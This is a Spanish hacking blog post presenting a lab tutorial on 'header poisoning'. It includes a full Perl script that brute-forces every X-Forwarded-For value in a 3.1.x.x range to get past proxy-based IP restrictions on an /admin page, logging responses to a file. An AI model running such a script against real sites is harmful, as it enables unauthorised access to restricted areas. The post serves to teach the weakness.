Header poisoning
Hoy en el laboratorio tenemos un ejemplo práctico de Header Poisoning. Tocaremos temas de programación y conceptos de header. Queremos mostrar lo fácil que es envenenar las cabeceras en las peticiones a páginas web. Imaginemos que tenemos un blanco, una empresa que posee un área (Ejemplo: /admin/) al cual solo pueden acceder los miembros de su empresa que estén usando el proxy único de la empresa. Si entramos a ese área sin el proxy nos salta: “No estas utilizando nuestro proxy: 3.1.x.x”. Bien sabemos los dos primeros dígitos del proxy que hay que usar para acceder al área de administrador. Planteándolo un poco, sería muy pesado estar comprobado a mano proxy a proxy por lo que nosotros desarrollaremos nuestro script que nos haga todo el trabajo. La función principal del script será el envenamiento de las cabeceras que enviemos a la petición del servidor, por lo que nuestro script se encargará de entrar con todas las combinaciones de proxy posibles a ‘/admin’.
# !/usr/bin/perl
use HTTP::Request;
use LWP::UserAgent;
$contador1=0;
$contador2=0;
while($contador1<=255)
{
while($contador2<=255)
{
print "Comprobando: 3.1.$contador1.$contador2\n";
my $web="http://www.localhost/admin";
my $header="X-Forwarded-For: 3.1.$contador1.$contador2";
my $respuesta=HTTP::Request->new(GET=>$web);
my $ua=LWP::UserAgent->new();
$ua->timeout(30);
$ua->default_header('X-Forwarded-For' => "3.1.$contador1.$contador2");
my $response=$ua->request($respuesta);
if ($response->is_success)
{
$contenido=$response->content;
open(FILE,">>results.txt");
print FILE "$contenido\n";
close(FILE);
}
$contador2++;
}
$contador1++;
$contador2=0;
}
Hay está el script desarrollado al completo, podéis ver que hemos empleado el lenguaje perl para este desarrollo; simplemente porque lo veíamos el más cualificado para esta explicación. El script como podéis ver nos guarda el resultado de las peticiones en un ‘txt’, cuando el script acabe, abrimos el ‘txt’ que nos creó y podremos ver miles de lineas que nos muestra este mensaje: “No estas utilizando nuestro proxy: 3.1.x.x”, excepto en una que ha sido cuando ha realizado la petición con el proxy correcto, nos mostrará todo el contenido del área ‘/admin’ por lo que podremos ver que se está cociendo por hay.
Saludos y hasta la próxima.
Publicado en: Hacking
Tags: header poisoning, Perl
Reacciones con otros blogs:  ¡Click!
Marcadores sociales: Compártelo

































